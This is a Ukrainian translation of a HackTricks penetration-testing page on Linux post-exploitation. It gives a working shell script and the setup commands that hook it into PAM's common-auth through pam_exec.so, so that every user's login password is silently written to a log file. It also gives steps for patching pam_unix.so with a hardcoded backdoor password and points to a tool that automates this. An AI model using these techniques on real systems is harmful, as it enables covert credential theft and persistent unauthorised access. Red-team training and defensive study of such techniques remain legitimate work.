hacktricks/linux-hardening/linux-post-exploitation
2024-09-04 13:38:57 +00:00
..
pam-pluggable-authentication-modules.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:38:57 +00:00
README.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 19:01:49 +00:00

Післяексплуатаційна дія на Linux

{% hint style="success" %} Вивчайте та практикуйте хакінг AWS: Навчання AWS Red Team Expert (ARTE) від HackTricks
Вивчайте та практикуйте хакінг GCP: Навчання GCP Red Team Expert (GRTE) від HackTricks

Підтримайте HackTricks
{% endhint %}

Підловлення паролів для входу за допомогою PAM

Давайте налаштуємо модуль PAM для реєстрації кожного пароля, який використовує кожен користувач для входу. Якщо ви не знаєте, що таке PAM, перегляньте:

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

Для отримання додаткових відомостей перегляньте оригінальний пост. Це лише краткий огляд:

Огляд техніки: Модулі підключення аутентифікації (PAM) пропонують гнучкість у керуванні аутентифікацією в системах на основі Unix. Вони можуть підвищити безпеку, налаштовуючи процеси входу, але також створюють ризики у разі некоректного використання. Цей огляд наводить техніку захоплення облікових даних для входу за допомогою PAM, разом зі стратегіями пом'якшення наслідків.

Захоплення облікових даних:

  • Створено сценарій bash під назвою toomanysecrets.sh, щоб реєструвати спроби входу, захоплюючи дату, ім'я користувача ($PAM_USER), пароль (через stdin) та IP-адресу віддаленого хоста ($PAM_RHOST) у файл /var/log/toomanysecrets.log.
  • Сценарій зроблено виконуваним та інтегровано в конфігурацію PAM (common-auth) за допомогою модуля pam_exec.so з опціями для тихого запуску та викладення токену аутентифікації сценарію.
  • Підхід демонструє, як скомпрометований хост Linux може бути використаний для конфіденційного реєстрування облікових даних.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Додавання задніх дверей в PAM

Для отримання додаткової інформації перегляньте оригінальний пост. Це лише краткий опис:

Модуль аутентифікації, який можна підключати (PAM), є системою, що використовується в Linux для аутентифікації користувачів. Він працює на трьох основних концепціях: ім'я користувача, пароль та сервіс. Файли конфігурації для кожного сервісу розташовані в каталозі /etc/pam.d/, де спільні бібліотеки відповідають за аутентифікацію.

Мета: Змінити PAM для можливості аутентифікації за допомогою конкретного пароля, обходячи фактичний пароль користувача. Це особливо актуально для спільної бібліотеки pam_unix.so, яку використовує файл common-auth, що включений майже у всі сервіси для перевірки пароля.

Кроки для модифікації pam_unix.so:

  1. Знайдіть директиву аутентифікації у файлі common-auth:
  • Рядок, що відповідає за перевірку пароля користувача, викликає pam_unix.so.
  1. Змініть вихідний код:
  • Додайте умовний оператор у вихідний файл pam_unix_auth.c, який надає доступ, якщо використовується попередньо визначений пароль, в іншому випадку продовжується звичайний процес аутентифікації.
  1. Перекомпілюйте та замініть змінену бібліотеку pam_unix.so у відповідному каталозі.
  2. Тестування:
  • Доступ надається до різних сервісів (логін, ssh, sudo, su, заставка) за допомогою попередньо визначеного пароля, тоді як звичайні процеси аутентифікації залишаються незмінними.

{% hint style="info" %} Ви можете автоматизувати цей процес за допомогою https://github.com/zephrax/linux-pam-backdoor {% endhint %}